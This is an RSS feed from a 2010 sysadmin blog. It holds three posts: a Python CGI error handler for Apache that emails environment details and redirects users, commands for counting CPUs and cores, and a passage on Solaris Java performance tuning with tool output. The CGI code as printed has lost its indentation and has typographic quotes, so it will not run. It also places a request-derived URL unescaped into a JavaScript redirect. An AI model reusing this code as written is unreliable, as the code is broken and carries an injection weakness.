<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux infrastructure support and bash scripting, Unix/Linux System administration &#187; Linux Operating System</title>
	<atom:link href="http://sysadminupdates.com/blog/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://sysadminupdates.com/blog</link>
	<description>Linux infrastructure support and bash scripting, Unix/Linux System administration</description>
	<lastBuildDate>Fri, 03 Sep 2010 03:12:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to catch 500 error from error logs in apache</title>
		<link>http://sysadminupdates.com/blog/2010/06/24/how-to-catch-500-error-from-error-logs-in-apache/</link>
		<comments>http://sysadminupdates.com/blog/2010/06/24/how-to-catch-500-error-from-error-logs-in-apache/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 05:51:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[Monitoring process]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Tomcat / jboss application server]]></category>
		<category><![CDATA[Trouble shooting]]></category>
		<category><![CDATA[Web server]]></category>
		<category><![CDATA[dedicated server set up]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=72</guid>
		<description><![CDATA[Catch 500 error]]></description>
			<content:encoded><![CDATA[<p>A. Enable cgi for your apache. Add following.</p>
<p>1) LoadModule cgid_module modules/mod_cgid.so</p>
<p>2)</p>
<p>&lt;Directory &#8220;/appl/apache2/cgi-bin&#8221;&gt;</p>
<p>AllowOverride None</p>
<p>Options ExecCGI</p>
<p>Order allow,deny</p>
<p>Allow from all</p>
<p>&lt;/Directory&gt;</p>
<p>3)</p>
<p>ScriptAlias /cgi-bin/ &#8220;/appl/apache2/cgi-bin/&#8221;</p>
<p>AddHandler cgi-script .cgi</p>
<p>ErrorDocument 413 /cgi-bin/error.cgi</p>
<p>4) Restart apache.</p>
<p>B. Set up the following python script to catch this error, send an email to admin and give the custome message to users.</p>
<p>/appl/apche/cgi-bin/error.cgi</p>
<p>chmod +x /appl/apache/cgi-bin/error.cgi</p>
<p>#!/usr/bin/python<br />
import sys, os<br />
SENDMAIL = &#8220;/usr/sbin/sendmail&#8221; # sendmail location<br />
print &#8220;Content-Type: text/html\n\n&#8221;;<br />
if (os.environ["REDIRECT_STATUS"] == &#8220;413&#8243;) or (os.environ["REDIRECT_STATUS"] == &#8220;500&#8243;):<br />
stats = &#8220;&lt;table border=1&gt;&lt;tr&gt;&lt;td&gt;Variable&lt;/td&gt;&lt;td&gt;Value&lt;/td&gt;&lt;/tr&gt;&#8221;<br />
for name, value in os.environ.items():<br />
stats += &#8220;&lt;tr&gt;&lt;td&gt;%s&lt;/td&gt;&lt;td&gt;%s&lt;/td&gt;&lt;/tr&gt;&#8221; % (name,value)<br />
stats += &#8220;&lt;/table&gt;&#8221;<br />
sendmail_location = &#8220;/usr/sbin/sendmail&#8221; # sendmail location<br />
p = os.popen(&#8220;%s -t&#8221; % &#8220;/usr/sbin/sendmail&#8221;, &#8220;w&#8221;)<br />
p.write(&#8220;From: %s\n&#8221; % &#8220;error-reporter@domain.com&#8221;)<br />
p.write(&#8220;To: %s\n&#8221; % &#8220;mail@domain.com&#8221;)<br />
p.write(&#8220;Content-Type: text/html\n&#8221;)<br />
p.write(&#8220;Subject: Error %s in accessing \n&#8221; % os.environ["REDIRECT_STATUS"])<br />
p.write(&#8220;\n&#8221;) # blank line separating headers from body<br />
p.write(stats)<br />
status = p.close()<br />
&#8221;&#8217;print &#8220;&lt;H3&gt;&lt;center&gt;Inconvenience Regretted.  Team has been notified of this issue&lt;/center&gt;&lt;/h3&gt;&#8221;&#8221;&#8217;<br />
cookieclearjs=&#8221;"&#8221;<br />
&lt;script language=&#8217;JavaScript&#8217;&gt;<br />
var todate = new Date ( );<br />
todate.setTime ( todate.getTime() &#8211; 100000 );<br />
var domain_url_del = window.location.href;<br />
var domain_Name_url_del = domain_url_del.split(&#8220;http://&#8221;);<br />
var domain_Name_temp_del = domain_Name_url_del[1].split(&#8220;/&#8221;);<br />
var domain_Name_del = domain_Name_temp_del[0];<br />
var cookieList = document.cookie.split(&#8216;;&#8217;);<br />
for(var i=0;i &lt; cookieList.length;i++)<br />
{<br />
var name = cookieList[i];<br />
if(name.indexOf(&#8220;MyLinks&#8221;)!=-1)<br />
{<br />
document.cookie = &#8221;+name+&#8217;=; path=//APPLICATION/PATH; domain=.&#8217; + domain_Name_del + &#8216;; expires=&#8217; + todate.toGMTString();<br />
document.cookie = &#8221;+name+&#8217;=; path=//APPLICATION/PATH; domain=.&#8217; + domain_Name_del + &#8216;; expires=&#8217; + todate.toGMTString();<br />
}<br />
}<br />
&lt;/script&gt;<br />
&#8220;&#8221;"<br />
print cookieclearjs<br />
print &#8220;&lt;script language=&#8217;JavaScript&#8217;&gt;window.location=&#8217;%s&#8217;&lt;/script&gt;&#8221; % os.environ["REDIRECT_SCRIPT_URI"]<br />
else:<br />
print &#8220;&lt;H3&gt;&lt;center&gt;What you are looking for, is not here&lt;/center&gt;&lt;/h3&gt;&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/06/24/how-to-catch-500-error-from-error-logs-in-apache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to find the no of cpu, core and if its under HT technology CPU</title>
		<link>http://sysadminupdates.com/blog/2010/05/28/how-to-find-the-no-of-cpu-core-and-if-its-under-ht-technology-cpu/</link>
		<comments>http://sysadminupdates.com/blog/2010/05/28/how-to-find-the-no-of-cpu-core-and-if-its-under-ht-technology-cpu/#comments</comments>
		<pubDate>Fri, 28 May 2010 09:21:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[Other things.. Like Healthcare, Information related to other business, Latest News, innovation. Awarenes about products and services..]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=70</guid>
		<description><![CDATA[count cpus and cores]]></description>
			<content:encoded><![CDATA[<p><strong>Finding  Physical Processors</strong></p>
<p>$  grep &#8216;physical id&#8217; /proc/cpuinfo | sort | uniq | wc -l</p>
<p><strong>Finding  Virtual Processors</strong></p>
<p>$  grep ^processor /proc/cpuinfo | wc -l</p>
<p><strong>Finding  CPU cores</strong></p>
<p>$  grep &#8216;cpu cores&#8217; /proc/cpuinfo</p>
<p>&#8220;2&#8243;  indicates the two physical processors are dual-core, resulting in 4 virtual  processors.</p>
<p>If  &#8220;1&#8243; was returned, the two physical processors are single-core.</p>
<p>If  the processors are single-core, and the number of virtual processors is greater  than the number of physical processors, the CPUs are using hyper-threading.</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/05/28/how-to-find-the-no-of-cpu-core-and-if-its-under-ht-technology-cpu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Performance Tools and Tuning Tips for Java Technology-Based Server Applications on the Solaris OS</title>
		<link>http://sysadminupdates.com/blog/2010/04/20/performance-tools-and-tuning-tips-for-java-technology-based-server-applications-on-the-solaris-os/</link>
		<comments>http://sysadminupdates.com/blog/2010/04/20/performance-tools-and-tuning-tips-for-java-technology-based-server-applications-on-the-solaris-os/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 07:25:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[Trouble shooting]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=68</guid>
		<description><![CDATA[Java Linux troubleshooting + Find bottleneck + performance tuning]]></description>
			<content:encoded><![CDATA[<h5>Introduction</h5>
<p>This article presents a set of tools, system settings, and tuning  tips for Java server applications that run on and scale across 2 to  64 CPU Sun Enterprise servers.  This information was assembled by  engineers with many years of experience tuning a variety of  commercial server-side Java applications on Solaris.</p>
<h5>Analysis Tools</h5>
<p>The table below lists the performance analysis tools covered  in this article. The tools are distinguished by software layer.  In addition to performance issues, many of these tools can be  used to detect other types of bottlenecks.</p>
<p>Click on a Name or a Parameter to link to a particular topic. Many tool  descriptions provide sample output, suggestions for interpreting  output results, tips on improving output results, and links to  related sites.</p>
<table border="0" cellspacing="1" cellpadding="0" bgcolor="#000000">
<tbody>
<tr>
<td align="CENTER">
<table border="0" cellspacing="1" cellpadding="10" align="CENTER" bgcolor="#ffffff">
<tbody>
<tr>
<td><strong>Category</strong></td>
<td><strong>Type</strong></td>
<td><strong>Name</strong></td>
<td><strong>Parameters</strong></td>
<td><strong>Usage</strong></td>
</tr>
<tr>
<td>Analysis tool</td>
<td>Solaris 8</td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#mpstat">mpstat</a></td>
<td></td>
<td>CPU utilization</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#iostat">iostat</a></td>
<td></td>
<td>Disk I/O subsystem</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#netstat">netstat</a></td>
<td></td>
<td>Network subsystem</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#hme">-I hme0 10</a></td>
<td>Interface bandwidth</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#sptcp">-sP tcp</a></td>
<td>TCP kernel module</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#hostname">-a | grep &lt;hostname&gt;| wc -1</a></td>
<td>Socket connection count</td>
</tr>
<tr>
<td></td>
<td>Java Server Applications</td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#verbose">verbose:gc</a></td>
<td></td>
<td>Garbage collection bottlenecks</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#tnf">Tnf</a></td>
<td></td>
<td>Profiling</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#jvmpi">JVMPI</a></td>
<td></td>
<td>Function call interface</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#jprobe">JProbe</a></td>
<td></td>
<td>Commercial tool</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#optimize">Optimizelt</a></td>
<td></td>
<td>Commercial tool</td>
</tr>
<tr>
<td>Tuning Parameters</td>
<td>Solaris 8</td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#/etc/system">/etc/system</a></td>
<td>Various</td>
<td>Performance</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#/etc/rc2.d/S69inet">/etc/rc2.d/S69inet</a></td>
<td>Various</td>
<td>TCP kernel tuning parameters</td>
</tr>
<tr>
<td></td>
<td>Java Server Applications</td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#execution">Execution threads</a></td>
<td></td>
<td>Counting</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#database">Database connections</a></td>
<td></td>
<td>Counting</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="http://developers.sun.com/solaris/articles/performance_tools.html#software">Software caches</a></td>
<td></td>
<td>Garbage collection overhead</td>
</tr>
<tr>
<td></td>
<td>JVM</td>
<td>Various</td>
<td>Various</td>
<td>Performance</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<h4>Solaris 8 Tools</h4>
<p><a name="mpstat"></a></p>
<h5>mpstat</h5>
<p>The <code>mpstat</code> utility is a useful tool to monitor CPU utilization,  especially with multithreaded applications running on multiprocessor machines,  which is a typical configuration for enterprise solutions.</p>
<p><code>mpstat</code> with an argument between 5 seconds to 10 seconds  will be quite non-intrusive to monitor; larger arguments, such as 60  seconds, might be suitable for certain applications. Statistics are  gathered for each clock tick.</p>
<p>An interval that is smaller than 5 or 10 seconds will be more  difficult to analyze.  A larger interval might provide a means of  smoothing the data by removing spikes that could mislead you during  analysis.</p>
<h5><code>mpstat</code> output</h5>
<pre>#mpstat 10

 CPU minf mjf xcal  intr ithr  csw icsw migr smtx  srw syscl  usr sys  wt idl
  0    1   0 5529   442  302  419  166   12  196    0   775   95   5   0   0
  1    1   0  220   237  100  383  161   41   95    0   450   96   4   0   0
  4    0   0   27   192  100  178   94   38   44    0   100   99   1   0   0
  5    1   0  160   255  100  566  202   28  162    0  1286   87   8   0   5
  8    0   0  131   283  100  684  238   30  203    0  1396   81  11   0   8
  9    1   0  165   263  100  579  212   23  162    0  1260   86  10   0   4
 10    1   0  208   255  100  553  213   12  179    0  1430   88  11   0   1
 11    0   0  116   255  100  698  207   48  221    0  1310   76  14   0  10
 12    2   0  239   252  100  584  215    8  152    0  1529   90   8   0   2
 13    0   0  110   275  100  459  200   36  100    0   619   96   4   0   0
 14    1   0  145   263  100  583  218   18  165    0  1389   88   7   0   4
 15    1   0  165   254  100 1404  587   26  179    0  2117   82  11   0   7
 16    0   0  133   278  100  523  215   26  130    0  1068   93   6   0   2
 17    0   0   77   292  100  506  219   35  117    0   657   94   4   0   2
 18    1   0  235   257  100  655  218   25  185    0  1722   85   9   0   5
 19    1   0  193   255  100  576  212   14  164    0  1485   89   8   0   2
 20    0   0  363  5731 5686  727  177   62  532    0   423   36  46   0  18
 21    1   0  174   256  100  608  220   24  174    0  1444   85  10   0   5
 22    0   0  125   259  100  566  216   12  192    0  1645   85  11   0   4
 23    0   0   46   317  100  457  216   39   93    0   118   99   1   0   0
 24    0   0   47   298  100  406  198   48   76    0   123   98   2   0   0
 25    3   0  414   270  100  882  340    8  158    0  1736   91   8   0   0
 26    1   0  155   261  100  564  213   18  190    0  1330   87  11   0   2
 27    1   0  217   257  100  552  220    2  160    0  1699   91   8   0   0
 28    3   0  423   259  100  840  287   13  177    0  1683   88  10   0   2
 29    0   0  752  1218 1113  666  127   77  346    0   637   56  25   0  19
 30    0   0  103   294  100  468  211   31   98    0   552   96   4   0   0
 31    1   0  109   252  100  570  207   16  190    0  1501   86  10   0   4
</pre>
<h5>What to look for</h5>
<ul>
<li> Note the much higher intr and ithr values for CPU#20 and CPU#21. Solaris will select some CPUs to handle the system interrupts. Which CPUs and the number that are chosen depend on the I/O devices attached to the system, the physical location of those devices, and whether interrupts have been disabled on a CPU (psradmin command).
<ul>
<li><code>intr</code> &#8211; interrupts</li>
<li><code>intr</code> &#8211; thread interrupts (not including the clock interrupts)
<ul>
<li><code>csw</code> &#8211; Voluntary Context switches. When this number slowly increases, and the application is not IO bound, it may indicate a mutex contention.</li>
<li><code>icsw</code> &#8211; Involuntary Context switches. When this number increases past 500, the system is under a heavy load.</li>
<li><code>smtx</code> &#8211; if <code>smtx</code> increases sharply, for instance from 50 to 500, it is      a sign of a system resource bottleneck (ex., network or disk).</li>
<li><code>Usr</code>, <code>sys</code> and <code>idl</code> &#8211; Together, all three columns represent CPU saturation. A well-tuned application under full load (0% idle) should  fall within 80% to 90% <code>usr</code>, and 20% to 10% <code>sys</code> times, respectively.  A smaller percentage value for <code>sys</code> reflects more time for user  code and fewer preemptions, which result in greater throughput for a Java application.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h5>Things to try</h5>
<ul>
<li> Do not include CPU(s) handling interrupts in processor binds  of processor sets.  In the above example, CPU#20 and CPU#29 are  handling interrupts.  If you wanted to run 14 instances of your  application, and you get the best performance from one instance from  2 CPUs, then it is reasonable to expect that creating 14 2CPU processor  sets would yield the best performance.  The ideal solution would be  to create 13 processor sets, which don&#8217;t include the interrupt-handling  CPUs, and bind 13 of the processes to the 13 processor sets. The  last process would be started and allowed to run on the remaining  CPUs.  It is important to make available to your application as many  CPUs as it can efficiently use.</li>
<li> Do you see increasing <code>csw</code>?  For a Java application, an  increasing <code>csw</code> value will most likely have to do with  network use.  A common cause for a high <code>csw</code> value is the  result of having created too many socket connections&#8211;either by not  pooling connections or by handling new connections inefficiently.  If this is the case you would also see a high TCP connection count  when executing <code>netstat -a | wc -l</code> (Refer to the <strong><em>netstat</em></strong> section).</li>
<li> Do you see increasing <code>icsw</code>?  A common cause of this is  preemption, most likely because of an end of time slice on the CPU.  For a Java application, this could be a sign that there is room for  improvement in code optimization.</li>
</ul>
<p><a name="iostat"></a></p>
<h5>iostat</h5>
<p>The <code>iostat</code> tool gives statistics on the disk I/O subsystem.  The <code>iostat</code> command has many options. More information can be  found in the man pages. The following options provide information on  locating I/O bottlenecks.</p>
<h5>iostat Output</h5>
<pre>#iostat -xn 10
                  extended device statistics
    r/s    w/s   kr/s   kw/s wait actv wsvc_t asvc_t  %w  %b device
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 fd0
    2.7   58.2   14.6 2507.0  0.0  1.4    0.0   23.0   0  52 d0
   47.3    0.0 2465.6    0.0  0.0  0.4    0.0    8.8   0  30 d1
    0.0    0.1    0.0    0.1  0.0  0.0    0.0   13.1   0   0 c0t0d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t1d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t6d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c1t9d0
    0.1   58.2    0.1  801.9  0.0  1.5    0.0   25.7   0  29 c1t10d0
    2.1   64.4   10.5  818.8  0.0  1.6    0.0   23.5   0  38 c1t11d0
    0.5   71.7    4.0  887.1  0.0  1.6    0.0   21.8   0  41 c1t12d0
   92.0    0.0 1242.5    0.0  0.0  0.7    0.0    8.1   0  24 c1t13d0
   84.7    0.0 1223.1    0.0  0.0  0.7    0.0    8.4   0  22 c1t14d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 thirdeye:vold(pid268)

                    extended device statistics
    r/s    w/s   kr/s   kw/s wait actv wsvc_t asvc_t  %w  %b device
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 fd0
    2.5   94.3   14.3 2372.5  0.0  4.0    0.0   41.8   0  85 d0
   50.8    2.8 2000.3   22.4  0.0  0.7    0.0   13.8   0  29 d1
    0.4    2.3    2.5   17.7  0.0  0.2    0.0   82.4   0   3 c0t0d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t1d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c0t6d0
    0.0    0.0    0.0    0.0  0.0  0.0    0.0    0.0   0   0 c1t9d0
    0.0   62.6    0.0  736.0  0.0  1.6    0.0   25.2   0  46 c1t10d0
    1.9   60.6    9.5  746.9  0.0  2.6    0.0   41.5   0  45 c1t11d0
    0.6   80.0    4.8  888.8  0.0  2.6    0.0   32.6   0  65 c1t12d0
   74.8    2.4 1014.2   19.2  0.0  0.9    0.0   11.4   0  22 c1t13d0
   75.7    0.4  986.1    3.2  0.0  0.5    0.0    6.7   0  20 c1t14d0
</pre>
<h5>What to look for</h5>
<ul>
<li> <code>%b</code> &#8211; Percentage of time the disk is busy (transactions in progress).  Average %b values over 25 could be a bottleneck.</li>
<li> <code>%w</code> &#8211; Percentage of time there  are  transactions  waiting  for service (queue non-empty).</li>
<li> <code>asvc_t</code> &#8211; Reports on average response time of active  transactions, in milliseconds. It is mislabeled <code>asvc_t</code>; it is the time between a user process issuing a read and the read completing. Consistent values over 30ms could indicate a bottleneck.</li>
</ul>
<h5>Things to try</h5>
<ul>
<li>For a Java application, disk bottlenecks can often be addressed by using software caches. An example of a software cache would be a JDBC result set cache, or a generated pages cache. Disk reads and writes are slow; therefore, limiting disk access is a sure way to improve performance. Problems with too much disk access are often hidden when running on Solaris because of its own file system caches. Even with Solaris file system caches, using software caches to prevent files ystem and operating system overhead is recommended.</li>
<li> Mount file systems with options.  (Refer to the <code>mount_ufs</code> man page). Several mount options may eliminate some disk load. Which options to try depends highly on the type of data. One possible option is <code>noatime</code>, which specifies the ufs file system not to update the access time on files. This may reduce load of systems accessing read-only files or doing error logging.</li>
<li> # mount -F ufs -o noatime /&lt;your_volume&gt;</li>
<li> Add more disks to the file system. If you are using a single disk file system, upgrading to a hardware or software RAID is the next logical step. Hardware RAID is significantly faster than software RAID and is highly suggested. A software RAID solution would add additional computational (CPU) load to the system.</li>
<li>Change block size. Depending on storage hardware and application behavior, there may be a better block size to use besides the ufs default of 8192k. Look at the man pages for <code>mkfs</code> and <code>newfs</code> to determine ways to change block size.</li>
</ul>
<p><a name="netstat"></a></p>
<h4>netstat</h4>
<p>The <code>netstat</code> tool gives statistics on the network subsystem.   It can be used to analyze many aspects of the network subsystem, two of  which are the TCP/IP kernel module and the interface bandwidth. An overview  of both uses is below.</p>
<blockquote><p><a name="hme"></a></p>
<h5>netstat -I hme0 10</h5>
<p>These <code>netstat</code> options are used to analyze interface bandwidth. The  upper bound (max) of the current throughput can be calculated from  the output.  The upper bound is reported because the <code>netstat</code> output reports the metric of packets, which don&#8217;t necessarily have  to be their maximum size.  The upper bound of the bandwidth can be  calculated using the following equation:</p>
<p>Bandwidth Used = (Total number of Packets) / (Polling Interval (10) ) ) * MTU (1500 default).</p>
<p>The current MTU for an interface can be found with: <code>ifconfig -a</code></p></blockquote>
<h5>netstat -I hme0 10 Output</h5>
<pre>#netstat -I hme0 10
 input   hme0      output           input  (Total)    output
packets errs  packets errs  colls  packets errs  packets errs  colls
122004816 272   159722061 0     0      348585818 2582  440541305 2     2
0       0     0       0     0      84144   0     107695  0     0
0       0     0       0     0      96144   0     123734  0     0
0       0     0       0     0      89373   0     114906  0     0
0       0     0       0     0      84568   0     108759  0     0
0       0     0       0     0      84720   0     108800  0     0
0       0     0       0     0      87911   0     112803  0     0
0       0     0       0     0      99046   0     126866  0     0
0       0     0       0     0      105500  0     134260  0     0
0       0     0       0     0      96404   0     123158  0     0
0       0     0       0     0      86732   0     111010  0     0
0       0     0       0     0      87753   0     112309  0     0
0       0     0       0     0      88752   0     114405  0     0
0       0     0       0     0      96240   0     123425  0     0
0       0     0       0     0      107527  0     136866  0     0
0       0     0       0     0      100686  0     128385  0     0
0       0     0       0     0      92745   0     118790  0     0
0       0     0       0     0      95187   0     122041  0     0
0       0     0       0     0      95105   0     122998  0     0
0       0     0       0     0      104498  0     134284  0     0
0       0     0       0     0      113289  0     144882  0     0
0       0     0       0     0      103227  0     132159  0     0
0       0     0       0     0      98239   0     125220  0     0
</pre>
<h5>What to look for</h5>
<ul>
<li><code>colls</code> &#8211; collisions. If your network is not switched, then a low level of collisions is expected. As the network becomes increasingly saturated, collision will increase and eventually will become a bottleneck. The best solution for collisions is a switched network.</li>
<li><code>errs</code> &#8211; errors. The presence of errors could indicate device errors. If your network is switched, errors indicate that you are nearly consuming the bandwidth capacity of your network. The solution to this problem is to give the system more bandwidth, which can be achieved through more network interfaces or a network bandwidth upgrade. This is highly dependent on your particular network architecture.</li>
</ul>
<h5>Things to try</h5>
<ul>
<li>For a Java application, network saturation is difficult to address besides increasing bandwidth. If network saturation is occurring quickly (saturation at less than 8CPUs for an application server running on a 100mbit Ethernet), then an investigation to ensure conservative network usage is a good first step.</li>
<li> Increase network bandwidth. If your network is not switched, the best step to take is to upgrade to a switched network. If your network is switched, first check if more network interfaces are a possible solution, otherwise upgrade to a higher bandwidth network.</li>
</ul>
<p><a name="sptcp"></a></p>
<h4>netstat -sP tcp</h4>
<p>These <code>netstat</code> options are used to analyze the TCP kernel module.  Many of the fields reported represent fields in the kernel module  that indicate bottlenecks. These bottlenecks can be addressed using  the ndd command and the tuning parameters referenced in the  <a href="http://developers.sun.com/solaris/articles/performance_tools.html#/etc/rc2.d/S69inet">/etc/rc2.d/S69inet Section</a></p>
<h5>netstat -sP tcp Output</h5>
<pre>#netstat -sP tcp

TCP     tcpRtoAlgorithm     =     4     tcpRtoMin           =   400
        tcpRtoMax           = 60000     tcpMaxConn          =    -1
        tcpActiveOpens      = 34773     tcpPassiveOpens     =  9015
        tcpAttemptFails     =   110     tcpEstabResets      =   145
        tcpCurrEstab        =   106     tcpOutSegs          =2338097
        tcpOutDataSegs      =1363583    tcpOutDataBytes     =730037068
        tcpRetransSegs      =   531     tcpRetransBytes     =139481
        tcpOutAck           =974222     tcpOutAckDelayed    =388421
        tcpOutUrg           =     0     tcpOutWinUpdate     =    96
        tcpOutWinProbe      =    53     tcpOutControl       = 87975
        tcpOutRsts          =   666     tcpOutFastRetrans   =    47
        tcpInSegs           =2302712
        tcpInAckSegs        =1148145    tcpInAckBytes       =729808007
        tcpInDupAck         = 76300     tcpInAckUnsent      =     0
        tcpInInorderSegs    =1828170    tcpInInorderBytes   =995767266
        tcpInUnorderSegs    = 15155     tcpInUnorderBytes   =113298
        tcpInDupSegs        =  1144     tcpInDupBytes       =132520
        tcpInPartDupSegs    =     1     tcpInPartDupBytes   =   416
        tcpInPastWinSegs    =     0     tcpInPastWinBytes   =     0
        tcpInWinProbe       =    46     tcpInWinUpdate      =    48
        tcpInClosed         =   251     tcpRttNoUpdate      =   344
        tcpRttUpdate        =1105386    tcpTimRetrans       =   989
        tcpTimRetransDrop   =     5     tcpTimKeepalive     =   818
        tcpTimKeepaliveProbe=   183     tcpTimKeepaliveDrop =     0
        tcpListenDrop       =     0     tcpListenDropQ0     =     0
        tcpHalfOpenDrop     =     0     tcpOutSackRetrans   =    56
</pre>
<h5>What to look for</h5>
<ul>
<li><code>tcpListenDrop</code> &#8211; If after several looks at the command output the <code>tcpListenDrop</code> continues to increase, it could indicate a problem with queue size.</li>
</ul>
<h5>Things to try</h5>
<ul>
<li> Increase Java application thread count. A possible cause of increasing <code>tcpListenDrop</code> is the application throughput being bottlenecked by the number of executing threads. At this point increasing application threads may be a good thing to try.</li>
<li> Increase queue size.  Increase the request queue sizes using <code>ndd</code>.  More information on other ndd commands referenced in the <a href="http://developers.sun.com/solaris/articles/performance_tools.html#/etc/rc2.d/S69inet">/etc/rc2.d/S69inet Section</a>
<ul>
<li>ndd -set /dev/tcp tcp_conn_req_max_q 1024</li>
<li>ndd -set /dev/tcp tcp_conn_req_max_q0 4096</li>
</ul>
</li>
</ul>
<p><a name="hostname"></a></p>
<h5>netstat -a | grep &lt;your_hostname&gt; | wc -l</h5>
<p>Running this command gives a rough count of socket connections  on the system.  There is a limit of how many connections can be  open at one time; therefore, it is a good tool to use when looking  for bottlenecks.</p>
<h5>netstat -a | grep &lt;your_hostname&gt; | wc -l  Output</h5>
<pre>#netstat -a | wc -l
34567
</pre>
<h5>What to look for</h5>
<ul>
<li>socket count &#8211; If the number returned is greater than 20,000 then the number of socket connections could be a possible bottleneck.</li>
</ul>
<h5>Things to try</h5>
<ul>
<li>For a Java application, a common cause of too many sockets is inefficient use of sockets. It is common practice in Java applications to create a socket connection each time a request is made. Creating and destroying socket connections is not only expensive, but can cause unnecessary system overhead by creating too many sockets. Creating a connection pool may be a good solution to investigate. For an example of connection pool use, refer to <a href="http://java.sun.com/developer/onlineTraining/Programming/JDCBook/conpool.html">Advanced Programming for the Java 2 Platform, Chapter 8</a>.</li>
<li>Decrease point where number of anonymous socket connections start.
<ul>
<li>ndd -set /dev/tcp tcp_smallest_anon_port 1024</li>
</ul>
</li>
<li>Decrease the time a TCP connection stays in TIME_WAIT.
<ul>
<li>ndd -set /dev/tcp tcp_time_wait_interval 60000</li>
</ul>
</li>
</ul>
<p><a name="verbose"></a></p>
<h5>verbose:gc</h5>
<p>The java <code>-verbose:gc</code> option is a great tool for quickly diagnosing  garbage collection (GC) bottlenecks. Calculate the total of all the  time spent in GC by adding the time output from <code>-verbose:gc</code>.  If the fraction (time in GC)/( elapsed time) is a high fraction greater than  0.2, then GC is most likely a problem. If this fraction is less than 0.2, then GC is not the issue.  For more detail information about JVM  Garbage Collection, see <a href="http://java.sun.com/docs/hotspot/gc">Tuning Garbage Collection with the 1.3.1 Java Virtual Machine</a>.</p>
<h4>Java Application</h4>
<p><a name="tnf"></a></p>
<h5>Tnf traces</h5>
<p>This is a great tool for both profiling and debugging a Java  Application. On a Solaris system refer to the Manual pages for  <code>tracing, TNF_PROBE, tnfdump, tnfmerge</code> and <code>prex</code>.  This will help to get an overall understanding of inserting the  probes in the source code. The manual pages have been written  with C/C++ sources in view.</p>
<p>Here are the steps to take for a Java source:</p>
<p><strong>Step 1:</strong> Insert the probes as shown in the short example below.</p>
<pre>import java.io.*;
import java.util.*;

class probedObject{
  public native void objectCreateStart();
  public native void objectCreateEnd();

  static {
                  System.loadLibrary("javaProbe");
  }
}

class Main{
  public static void main(String[] arg) throws Throwable
   {
        probedObject obj = new probedObject();
        long startTime = System.currentTimeMillis();

        for (int i=0; i&lt;1000; i++) {
          obj.objectCreateStart();
          obj = new probedObject();
          obj.objectCreateEnd();
        };
        System.out.println(System.currentTimeMillis()-startTime);
   }
}
</pre>
<p><strong>Step 2:</strong> Compile <code>Main.java</code></p>
